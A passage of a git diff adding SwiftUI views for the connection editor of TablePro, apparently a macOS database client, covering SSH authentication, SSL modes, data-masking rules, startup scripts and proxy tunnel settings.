EditorSecureRow(String(localized: "Password"), text: store.binding(\.ssh.password), row: editorRow, store: store) + case .sshAgentSocket: + agentSocketRows + case .sshIdentityFile: + EditorPathRow( + String(localized: "Identity File"), + path: store.binding(\.ssh.privateKeyPath), + prompt: "~/.ssh/id_ed25519.pub", + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseSSHKey(message: String(localized: "Choose a public key file"), store: store) + } + case .sshKeyFile: + EditorPathRow( + String(localized: "Key File"), + path: store.binding(\.ssh.privateKeyPath), + prompt: "~/.ssh/id_ed25519", + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseSSHKey(message: String(localized: "Choose a private key file"), store: store) + } + case .sshKeyPassphrase: + EditorSecureRow( + String(localized: "Passphrase"), + text: store.binding(\.ssh.keyPassphrase), + prompt: String(localized: "Required only for an encrypted key"), + row: editorRow, + store: store + ) + case .sshNoAuthenticationNote: + Text(String( + localized: "No credentials are sent. Use this when the server handles authentication itself, such as a Tailscale SSH host." + )) + .foregroundStyle(.secondary) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + case .sshTOTPMode: + SSHAndProxiesPicker(String(localized: "TOTP"), selection: store.binding(\.ssh.totpMode), row: editorRow, store: store) { + ForEach(TOTPMode.allCases) { mode in + Text(mode.displayName).tag(mode) + } + } + case .sshTOTPSecret: + EditorSecureRow(String(localized: "TOTP Secret"), text: store.binding(\.ssh.totpSecret), row: editorRow, store: store) + .help(String(localized: "Base32-encoded secret from your authenticator setup")) + case .sshTOTPAlgorithm: + SSHAndProxiesPicker(String(localized: "Algorithm"), selection: store.binding(\.ssh.totpAlgorithm), row: editorRow, store: store) { + ForEach(TOTPAlgorithm.allCases) { algorithm in + Text(verbatim: algorithm.rawValue).tag(algorithm) + } + } + case .sshTOTPDigits: + SSHAndProxiesPicker(String(localized: "Digits"), selection: store.binding(\.ssh.totpDigits), row: editorRow, store: store) { + Text(verbatim: "6").tag(6) + Text(verbatim: "8").tag(8) + } + case .sshTOTPPeriod: + SSHAndProxiesPicker(String(localized: "Period"), selection: store.binding(\.ssh.totpPeriod), row: editorRow, store: store) { + Text(String(localized: "30 seconds")).tag(30) + Text(String(localized: "60 seconds")).tag(60) + } + default: + EmptyView() + } + } + + @ViewBuilder + private var agentSocketRows: some View { + let option = store.draft.ssh.agentSocketOption + SSHAndProxiesPicker( + String(localized: "Agent Socket"), + selection: store.binding(\.ssh.agentSocketOption), + row: editorRow, + store: store, + subtitle: option.explanation + ) { + ForEach(SSHAgentSocketOption.allCases) { option in + Text(option.displayName).tag(option) + } + } + if option == .custom { + TextField( + String(localized: "Path"), + text: store.binding(\.ssh.customAgentSocketPath), + prompt: Text(verbatim: "/path/to/agent.sock") + ) + .autocorrectionDisabled() + .accessibilityIdentifier("\(editorRow.accessibilityIdentifier)-path") + } + } +} + +// A menu picker whose label carries the row's issue, revealed once the person picks something. +struct SSHAndProxiesPicker: View { + private let title: String + @Binding private var selection: Value + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + private let content: Content + + @State private var isEdited = false + + init( + _ title: String, + selection: Binding, + row: EditorRow, + store: ConnectionEditorStore, + subtitle: String? = nil, + @ViewBuilder content: () -> Content + ) { + self.title = title + _selection = selection + self.row = row + self.store = store + self.subtitle = subtitle + self.content = content() + } + + var body: some View { + Picker(selection: $selection) { + content + } label: { + EditorRowLabel(title, row: row, store: store, subtitle: subtitle, isEdited: isEdited) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .onChange(of: selection) { _ in isEdited = true } + } +} + +struct SSHAndProxiesProfileRows: View { + @ObservedObject var store: ConnectionEditorStore + + private let row = EditorRow.builtIn(.sshProfile) + + var body: some View { + SSHAndProxiesPicker(String(localized: "SSH Profile"), selection: store.sshProfileBinding, row: row, store: store) { + Text(String(localized: "Inline Configuration")).tag(UUID?.none) + if store.sshProfileIsUnresolved, let missingId = store.draft.ssh.profileId { + Text(String(localized: "Missing Profile")).tag(UUID?.some(missingId)) + } + ForEach(store.context.sshProfiles) { profile in + Text(verbatim: Self.menuTitle(for: profile)).tag(UUID?.some(profile.id)) + } + } + + if let profile = store.selectedSSHProfile { + LabeledContent(String(localized: "Server")) { + Text(verbatim: Self.endpoint(of: profile)) + .textSelection(.enabled) + } + LabeledContent(String(localized: "Authentication")) { + Text(profile.authMethod.displayName) + } + if !profile.privateKeyPath.isEmpty { + LabeledContent(profile.authMethod == .sshAgent ? String(localized: "Identity File") : String(localized: "Key File")) { + Text(verbatim: profile.privateKeyPath) + .lineLimit(1) + .truncationMode(.middle) + .help(profile.privateKeyPath) + } + } + if !profile.jumpHosts.isEmpty { + LabeledContent(String(localized: "Jump Hosts")) { + Text(profile.jumpHosts.count, format: .number) + } + } + } + + HStack(spacing: 8) { + Button(String(localized: "Create New Profile…")) { + store.presentSSHProfileCreation() + } + .accessibilityIdentifier("connection-form-ssh-profile-create") + if store.selectedSSHProfile != nil { + Button(String(localized: "Edit Profile…")) { + store.presentSSHProfileEditing() + } + .accessibilityIdentifier("connection-form-ssh-profile-edit") + } + if store.canSaveSSHAsProfile { + Button(String(localized: "Save Current as Profile…")) { + store.presentSaveSSHAsProfile() + } + .accessibilityIdentifier("connection-form-ssh-profile-save-current") + } + } + .frame(maxWidth: .infinity, alignment: .trailing) + } + + private static func menuTitle(for profile: SSHProfile) -> String { + let user = profile.username.trimmingCharacters(in: .whitespaces) + let target = user.isEmpty ? profile.host : "\(user)@\(profile.host)" + return "\(profile.name) (\(target))" + } + + private static func endpoint(of profile: SSHProfile) -> String { + let user = profile.username.trimmingCharacters(in: .whitespaces) + let hostAndPort = "\(profile.host):\(profile.port ?? 22)" + return user.isEmpty ? hostAndPort : "\(user)@\(hostAndPort)" + } +} + +private struct SSHAndProxiesMissingProfileRow: View { + @ObservedObject var store: ConnectionEditorStore + + private let row = EditorRow.builtIn(.sshProfileMissing) + + // Shown at once, unlike an edit issue: the link points nowhere until it is replaced or the profile returns. + private var message: String { + store.context.sshProfilesLoadFailed + ? String(localized: "TablePro could not read the SSH profiles on this Mac.") + : String(localized: "The SSH profile this connection uses isn't on this Mac.") + } + + var body: some View { + LabeledContent { + Button(String(localized: "Switch to Inline Configuration")) { + store.switchSSHProfileToInline() + } + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + NoticeLabel(message, severity: .warning) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift new file mode 100644 index 0000000000..d959fc5d06 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift @@ -0,0 +1,189 @@ +// +// SSLFacetView.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +struct SSLFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.sslTLS) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + } + .formStyle(.grouped) + } + + // The mode section explains the mode that is selected, not the type's note about Preferred under every mode. + private func footer(for section: SectionLayout) -> String? { + guard section.id == "sslMode" else { return section.footer } + return SSLModeFooter.text( + mode: store.draft.ssl.mode, + traits: store.traits.ssl, + usesLocalSocket: store.usesLocalSocket + ) + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.sslMode): + SSLModeRow(store: store) + case .builtIn(.sslNoFallbackNotice): + SSLNoFallbackNotice(store: store) + case .builtIn(.sslCertificateTrustNote): + NoticeLabel( + String(localized: """ + Verify CA and Verify Identity check the server certificate against the system trust \ + store. This driver takes no custom CA or client certificate. + """), + severity: .info + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.sslCertificateTrustNote.accessibilityIdentifier) + case .builtIn(.sslCACertificate): + certificateRow( + String(localized: "Certificate"), + keyPath: \.ssl.caCertPath, + prompt: caCertificateIsOptional ? String(localized: "Optional") : "/path/to/ca-cert.pem", + row: .sslCACertificate + ) + case .builtIn(.sslClientCertificate): + certificateRow( + String(localized: "Certificate"), + keyPath: \.ssl.clientCertPath, + prompt: String(localized: "Optional"), + row: .sslClientCertificate + ) + case .builtIn(.sslClientKey): + certificateRow( + String(localized: "Key"), + keyPath: \.ssl.clientKeyPath, + prompt: String(localized: "Optional"), + row: .sslClientKey + ) + case .builtIn(.sslClientKeyPassphrase): + EditorSecureRow( + String(localized: "Key Passphrase"), + text: store.binding(\.ssl.clientKeyPassphrase), + prompt: String(localized: "Required only for an encrypted key"), + row: .builtIn(.sslClientKeyPassphrase), + store: store + ) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + private var caCertificateIsOptional: Bool { + !store.traits.ssl.requiresCACertificate(for: store.draft.ssl.mode) + } + + private func certificateRow( + _ title: String, + keyPath: WritableKeyPath, + prompt: String, + row: BuiltInRow + ) -> some View { + let path = store.binding(keyPath) + return EditorPathRow(title, path: path, prompt: prompt, row: .builtIn(row), store: store) { + await EditorFilePanel.chooseFile( + in: EditorFilePanel.window(for: store), + message: String(localized: "Choose a certificate or key file"), + showsHiddenFiles: true, + currentPath: path.wrappedValue + ) + } + } +} + +// A mode the driver refuses here stays in the menu, dimmed, so the pop-up never reads blank; its issue says why. +struct SSLModeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + let offered = store.offeredSSLModes + let current = store.draft.ssl.mode + Picker(selection: store.sslModeBinding) { + ForEach(offered) { mode in + Text(verbatim: mode.displayLabel).tag(mode) + } + if !offered.contains(current) { + Divider() + Text(verbatim: current.displayLabel) + .tag(current) + .disabled(true) + } + } label: { + EditorRowLabel(String(localized: "SSL Mode"), row: .builtIn(.sslMode), store: store) + } + .accessibilityIdentifier(BuiltInRow.sslMode.accessibilityIdentifier) + } +} + +struct SSLNoFallbackNotice: View { + @ObservedObject var store: ConnectionEditorStore + + // Oracle's driver drops to plain TCP on Preferred where the others force TLS. + private var connectsInPlain: Bool { store.draft.type == .oracle } + + var body: some View { + NoticeLabel( + connectsInPlain + ? String(localized: "Preferred connects in plain TCP for this driver. Use Required to enforce TCPS.") + : String(localized: "This driver has no TLS fallback. Preferred forces TLS, same as Required."), + severity: connectsInPlain ? .error : .warning + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.sslNoFallbackNotice.accessibilityIdentifier) + } +} + +enum SSLModeFooter { + static func text(mode: SSLMode, traits: ConnectionTypeTraits.SSLTraits, usesLocalSocket: Bool) -> String? { + switch mode { + case .disabled: + return String(localized: "The connection is not encrypted.") + case .preferred: + // Without a fallback the notice above already says what Preferred does, and the type's note repeats it. + guard traits.supportsOpportunisticTLS else { return nil } + var lines = [traits.note.isEmpty + ? String(localized: "Encrypts the connection when the server offers TLS, and connects without it otherwise.") + : traits.note] + if usesLocalSocket { + lines.append(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) + } + return lines.joined(separator: "\n") + case .required: + return String(localized: "Encrypts the connection without checking the server certificate.") + case .verifyCa: + return String(localized: "Encrypts the connection and checks that a trusted certificate authority signed the server certificate.") + case .verifyIdentity: + return String(localized: "Encrypts the connection and checks the server certificate and that it names the host.") + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift new file mode 100644 index 0000000000..0b3f3f921f --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift @@ -0,0 +1,146 @@ +import SwiftUI + +struct SafeModeFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + @FocusState private var focusedRule: UUID? + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + } + + private var sections: [SectionLayout] { + store.layout.facet(.safeMode)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.safeModeLevel): + safeModeLevelRow(row) + case .builtIn(.manualCommit): + Toggle(isOn: store.manualCommitBinding) { + EditorRowLabel(String(localized: "Manual Commit"), row: row, store: store) + } + .disabled(!store.traits.manualCommitAvailable) + .accessibilityIdentifier(row.accessibilityIdentifier) + case .builtIn(.maskingRules): + maskingRuleRows + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // A floor that allows one level leaves nothing to pick; the section footer says why. + @ViewBuilder + private func safeModeLevelRow(_ row: EditorRow) -> some View { + let levels = store.allowedSafeModeLevels + if levels.count == 1 { + LabeledContent { + Text(verbatim: store.effectiveSafeModeLevel.displayName) + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) + } + } else { + Picker(selection: store.safeModeLevelBinding) { + ForEach(levels) { level in + Text(verbatim: level.displayName).tag(level) + } + } label: { + EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + } + } + + @ViewBuilder + private var maskingRuleRows: some View { + let rules = store.draft.safety.maskingRules + ForEach(rules) { rule in + SafeModeMaskingRuleRow( + rule: store.maskingRuleBinding(rule.id), + focusedRule: $focusedRule, + onRemove: { store.removeMaskingRule(id: rule.id) } + ) + } + LabeledContent { + Button(String(localized: "Add Rule")) { + let id = store.addMaskingRule() + // The new row is not in the form until the next update. + DispatchQueue.main.async { focusedRule = id } + } + .accessibilityIdentifier("connection-form-add-masking-rule") + } label: { + if rules.isEmpty { + Text(String(localized: "No Masking Rules")) + .foregroundStyle(.secondary) + } + } + } +} + +private struct SafeModeMaskingRuleRow: View { + @Binding var rule: MaskingRule + let focusedRule: FocusState.Binding + let onRemove: () -> Void + + var body: some View { + Grid(alignment: .leading, horizontalSpacing: 8, verticalSpacing: 8) { + GridRow { + Text(String(localized: "Pattern")) + .gridColumnAlignment(.trailing) + TextField( + String(localized: "Pattern"), + text: $rule.pattern, + prompt: Text(verbatim: rule.target == .column ? "*.email" : "uuid") + ) + .labelsHidden() + .textFieldStyle(.roundedBorder) + .focused(focusedRule, equals: rule.id) + .accessibilityIdentifier("connection-form-masking-pattern") + Button(String(localized: "Remove"), action: onRemove) + } + GridRow { + Text(String(localized: "Match")) + HStack(spacing: 16) { + Picker(String(localized: "Match"), selection: $rule.target) { + ForEach(MaskingTarget.allCases) { target in + Text(verbatim: target.displayName).tag(target) + } + } + .labelsHidden() + .fixedSize() + + Picker(String(localized: "Mask"), selection: $rule.style) { + ForEach(MaskingStyle.allCases) { style in + Text(verbatim: style.displayName).tag(style) + } + } + .fixedSize() + } + Color.clear.gridCellUnsizedAxes([.horizontal, .vertical]) + } + } + .accessibilityElement(children: .contain) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift new file mode 100644 index 0000000000..055ffd3e8c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/StartupFacetView.swift @@ -0,0 +1,70 @@ +import SwiftUI + +struct StartupFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + } + + private var sections: [SectionLayout] { + store.layout.facet(.startup)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.startupCommands): + EditorCodeEditor( + text: store.binding(\.options.startupCommands), + language: store.startupCommandsAreSQL ? .sql : .plain, + row: row, + store: store + ) + case .builtIn(.preConnectScript): + EditorCodeEditor(text: store.binding(\.options.preConnectScript), language: .shell, row: row, store: store) + case .builtIn(.scriptTimeout): + EditorOptionalNumberRow( + String(localized: "Timeout"), + value: store.binding(\.options.scriptTimeoutSeconds), + defaultValue: ConnectionScriptRunner.defaultTimeoutSeconds, + range: ConnectionScriptRunner.timeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store + ) + .help(String(localized: "How long each script may run, from 1 to 300 seconds.")) + case .builtIn(.postDisconnectScript): + EditorCodeEditor(text: store.binding(\.options.postDisconnectScript), language: .shell, row: row, store: store) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + // The engine's copy and example are SQL; another engine's commands are its own language. + private func footer(for section: SectionLayout) -> String? { + guard section.rows.contains(.builtIn(.startupCommands)), !store.startupCommandsAreSQL else { + return section.footer + } + return String(localized: "Commands to run after connecting. One per line or separated by semicolons.") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift new file mode 100644 index 0000000000..81a95b4a6c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportCommandRows.swift @@ -0,0 +1,79 @@ +// +// TransportCommandRows.swift +// TablePro +// + +import SwiftUI + +struct TransportCommandRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .tunnelCommandMethod: + SSHAndProxiesPicker( + String(localized: "Method"), + selection: store.binding(\.tunnelCommand.config.method), + row: editorRow, + store: store + ) { + ForEach(TunnelCommandMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .kubernetesResource: + text(String(localized: "Resource"), \.tunnelCommand.config.kubernetesResource, prompt: "service/postgres") + case .kubernetesNamespace: + text(String(localized: "Namespace"), \.tunnelCommand.config.kubernetesNamespace, prompt: "production") + case .kubernetesContext: + text(String(localized: "Context"), \.tunnelCommand.config.kubernetesContext, prompt: String(localized: "Optional")) + case .awsTarget: + text(String(localized: "Target"), \.tunnelCommand.config.awsTarget, prompt: "i-0123456789abcdef0") + case .awsProfile: + text(String(localized: "Profile"), \.tunnelCommand.config.awsProfile, prompt: String(localized: "Optional")) + case .awsRegion: + text(String(localized: "Region"), \.tunnelCommand.config.awsRegion, prompt: String(localized: "Optional")) + case .tunnelCommand: + EditorCodeEditor( + text: store.binding(\.tunnelCommand.config.command), + language: .shell, + row: editorRow, + store: store, + minHeight: 64 + ) + case .tunnelCommandExecutable: + EditorPathRow( + String(localized: "Executable path"), + path: store.binding(\.tunnelCommand.config.executablePath), + prompt: executablePrompt, + row: editorRow, + store: store + ) { + await TransportFilePanel.chooseExecutable(currentPath: store.draft.tunnelCommand.config.executablePath, store: store) + } + case .tunnelCommandPreview: + if let preview = store.tunnelCommandPreview { + CodeWell(preview, font: .system(.body, design: .monospaced)) + .accessibilityElement(children: .contain) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + } + default: + EmptyView() + } + } + + private var executablePrompt: String { + switch store.draft.tunnelCommand.config.method { + case .kubectl: return "/opt/homebrew/bin/kubectl" + case .awsSSM: return "/usr/local/bin/aws" + case .custom: return "" + } + } + + private func text(_ title: String, _ keyPath: WritableKeyPath, prompt: String) -> some View { + EditorTextRow(title, text: store.binding(keyPath), prompt: prompt, row: editorRow, store: store) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift new file mode 100644 index 0000000000..a46c691cb7 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift @@ -0,0 +1,317 @@ +// +// TransportProxyRows.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct TransportCloudflareRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .cloudflareHostname: + EditorTextRow( + String(localized: "Hostname"), + text: store.binding(\.cloudflare.accessHostname), + prompt: "db.example.com", + row: editorRow, + store: store + ) + case .cloudflareAuthMethod: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.cloudflare.authMethod), row: editorRow, store: store) { + ForEach(CloudflareAuthMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .cloudflareSignIn: + signInRow + case .cloudflareTokenId: + EditorSecureRow(String(localized: "Client ID"), text: store.binding(\.cloudflare.serviceTokenId), row: editorRow, store: store) + case .cloudflareTokenSecret: + EditorSecureRow( + String(localized: "Client Secret"), + text: store.binding(\.cloudflare.serviceTokenSecret), + row: editorRow, + store: store + ) + case .cloudflareAutomaticPort: + TransportToggle(String(localized: "Choose port automatically"), isOn: store.binding(\.cloudflare.automaticPort), row: editorRow, store: store) + case .cloudflareLocalPort: + EditorTextRow(String(localized: "Local port"), text: store.binding(\.cloudflare.localPort), prompt: "5432", row: editorRow, store: store) + case .cloudflareExposeToLAN: + TransportToggle(String(localized: "Expose to local network"), isOn: store.binding(\.cloudflare.exposeToLAN), row: editorRow, store: store) + case .cloudflareBinary: + TransportBinaryRow( + path: store.binding(\.cloudflare.binaryPath), + detection: store.cloudflaredDetection, + notFoundMessage: String(localized: "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary."), + row: editorRow, + store: store + ) + default: + EmptyView() + } + } + + private var signInRow: some View { + let hostname = store.draft.cloudflare.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) + return LabeledContent { + Button(store.isCloudflareSignInRunning ? String(localized: "Signing In…") : String(localized: "Sign In with Browser…")) { + store.signInWithCloudflare() + } + .disabled(hostname.isEmpty || store.isCloudflareSignInRunning) + .accessibilityIdentifier(editorRow.accessibilityIdentifier) + } label: { + Text(String(localized: "Access Token")) + if let error = store.cloudflareSignInError { + NoticeLabel(error, severity: .error) + .textSelection(.enabled) + } + } + } +} + +struct TransportCloudSQLRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .cloudSQLInstance: + EditorTextRow( + String(localized: "Instance connection name"), + text: store.binding(\.cloudSQLProxy.instanceConnectionName), + prompt: "project:region:instance", + row: editorRow, + store: store + ) + case .cloudSQLAuthMode: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.cloudSQLProxy.authMode), row: editorRow, store: store) { + ForEach(CloudSQLProxyAuthMode.allCases) { mode in + Text(mode.displayName).tag(mode) + } + } + case .cloudSQLServiceAccountKey: + EditorCodeEditor( + text: store.binding(\.cloudSQLProxy.serviceAccountKeyJSON), + language: .json, + row: editorRow, + store: store + ) + case .cloudSQLIAMAuth: + TransportToggle( + String(localized: "Use IAM database authentication"), + isOn: store.binding(\.cloudSQLProxy.useIAMAuth), + row: editorRow, + store: store + ) + case .cloudSQLPrivateIP: + TransportToggle(String(localized: "Connect over private IP"), isOn: store.binding(\.cloudSQLProxy.usePrivateIP), row: editorRow, store: store) + case .cloudSQLAutomaticPort: + TransportToggle( + String(localized: "Choose port automatically"), + isOn: store.binding(\.cloudSQLProxy.automaticPort), + row: editorRow, + store: store + ) + case .cloudSQLLocalPort: + EditorTextRow(String(localized: "Local port"), text: store.binding(\.cloudSQLProxy.localPort), prompt: "5432", row: editorRow, store: store) + case .cloudSQLBinary: + TransportBinaryRow( + path: store.binding(\.cloudSQLProxy.binaryPath), + detection: store.cloudSQLProxyDetection, + notFoundMessage: String( + localized: "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it, or choose the binary." + ), + row: editorRow, + store: store, + downloadPhase: store.cloudSQLProxyDownloadPhase + ) + default: + EmptyView() + } + } +} + +struct TransportSOCKSRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .socksHost: + EditorTextRow(String(localized: "Host"), text: store.binding(\.socksProxy.host), prompt: "proxy.example.com", row: editorRow, store: store) + case .socksPort: + EditorTextRow(String(localized: "Port"), text: store.binding(\.socksProxy.port), prompt: "1080", row: editorRow, store: store) + case .socksUsername: + EditorTextRow(String(localized: "Username"), text: store.binding(\.socksProxy.username), row: editorRow, store: store) + case .socksPassword: + EditorSecureRow(String(localized: "Password"), text: store.binding(\.socksProxy.password), row: editorRow, store: store) + default: + EmptyView() + } + } +} + +struct TransportToggle: View { + private let title: String + @Binding private var isOn: Bool + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @State private var isEdited = false + + init(_ title: String, isOn: Binding, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _isOn = isOn + self.row = row + self.store = store + } + + var body: some View { + Toggle(isOn: $isOn) { + EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .onChange(of: isOn) { _ in isEdited = true } + } +} + +// A helper binary: empty finds it on its own, and the label says what was found. +struct TransportBinaryRow: View { + @Binding var path: String + let detection: ConnectionEditorStore.BinaryDetection + let notFoundMessage: String + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + var downloadPhase: CloudSQLProxyDownload.Phase? + + private var usesDetection: Bool { + path.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + } + + private var isDownloading: Bool { downloadPhase?.isDownloading == true } + + private var downloadFailure: String? { + if case .failed(let message) = downloadPhase { return message } + return nil + } + + private var offersDownload: Bool { + guard downloadPhase != nil, !isDownloading, usesDetection else { return false } + return detection == .notFound || downloadFailure != nil + } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(String(localized: "Path"), text: $path, prompt: Text(String(localized: "Automatic"))) + .labelsHidden() + .autocorrectionDisabled() + .accessibilityIdentifier(row.accessibilityIdentifier) + Button(String(localized: "Choose…")) { + Task { + if let chosen = await TransportFilePanel.chooseExecutable(currentPath: path, store: store) { + path = chosen + } + } + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-choose") + if offersDownload { + Button(String(localized: "Download")) { + store.downloadCloudSQLProxy() + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-download") + } + } + } label: { + Text(String(localized: "Path")) + status + } + + if case .downloading(let fraction) = downloadPhase { + LabeledContent { + HStack(spacing: 8) { + ProgressView(value: fraction) + .labelsHidden() + Button(String(localized: "Cancel")) { + store.cancelCloudSQLProxyDownload() + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-download-cancel") + } + } label: { + Text(String(localized: "Downloading cloud-sql-proxy")) + if let fraction { + Text(fraction, format: .percent.precision(.fractionLength(0))) + } + } + } + } + + @ViewBuilder + private var status: some View { + if let downloadFailure { + NoticeLabel(downloadFailure, severity: .error) + .textSelection(.enabled) + } else if usesDetection, !isDownloading { + switch detection { + case .found(let found): + Text(String(format: String(localized: "Detected: %@"), found)) + .textSelection(.enabled) + case .notFound: + NoticeLabel(notFoundMessage, severity: .warning) + .textSelection(.enabled) + case .notChecked, .checking: + EmptyView() + } + } + } +} + +// Open panels for this facet's paths, as sheets on the editor window. +@MainActor +enum TransportFilePanel { + static func chooseSSHKey(message: String, store: ConnectionEditorStore) async -> String? { + let panel = NSOpenPanel() + panel.message = message + panel.showsHiddenFiles = true + panel.directoryURL = FileManager.default.homeDirectoryForCurrentUser.appendingPathComponent(".ssh", isDirectory: true) + return await present(panel, store: store) + } + + static func chooseExecutable(currentPath: String, store: ConnectionEditorStore) async -> String? { + let panel = NSOpenPanel() + let typed = (currentPath.trimmingCharacters(in: .whitespacesAndNewlines) as NSString).expandingTildeInPath + if typed.hasPrefix("/") { + panel.directoryURL = URL(fileURLWithPath: typed).deletingLastPathComponent() + } else { + let homebrew = "/opt/homebrew/bin" + let folder = FileManager.default.fileExists(atPath: homebrew) ? homebrew : "/usr/local/bin" + panel.directoryURL = URL(fileURLWithPath: folder, isDirectory: true) + } + return await present(panel, store: store) + } + + private static func present(_ panel: NSOpenPanel, store: ConnectionEditorStore) async -> String? { + panel.allowsMultipleSelection = false + panel.canChooseDirectories = false + panel.canChooseFiles = true + let response: NSApplication.ModalResponse + if let window = EditorFilePanel.window(for: store) { + response = await panel.presentAsSheet(for: window) + } else { + response = await panel.begin() + } + guard response == .OK, let url = panel.url else { return nil } + return url.path(percentEncoded: false) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift new file mode 100644 index 0000000000..5c40dd3f6a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Shell/ConnectionEditorCloseGuard.swift @@ -0,0 +1,62 @@ +// +// ConnectionEditorCloseGuard.swift +// TablePro +// + +import AppKit + +// The close button, Cmd+W, Cancel and Escape all ask this before the window closes. +enum ConnectionEditorCloseGuard { + enum Verdict: Equatable { + case close + case askToSave(ConnectionEditorSavePrompt) + } + + enum Choice: Equatable { + case save + case dontSave + case cancel + } + + // A record deleted elsewhere cannot be saved, so there is nothing to ask. + static func verdict(hasUnsavedChanges: Bool, isRecordMissing: Bool, connectionName: String) -> Verdict { + guard hasUnsavedChanges, !isRecordMissing else { return .close } + return .askToSave(ConnectionEditorSavePrompt(connectionName: connectionName)) + } + + // The order of `makeAlert`: Save, Cancel, Don't Save. + static func choice(for response: NSApplication.ModalResponse) -> Choice { + switch response { + case .alertFirstButtonReturn: return .save + case .alertThirdButtonReturn: return .dontSave + default: return .cancel + } + } + + @MainActor + static func makeAlert(_ prompt: ConnectionEditorSavePrompt) -> NSAlert { + let alert = NSAlert() + alert.messageText = prompt.title 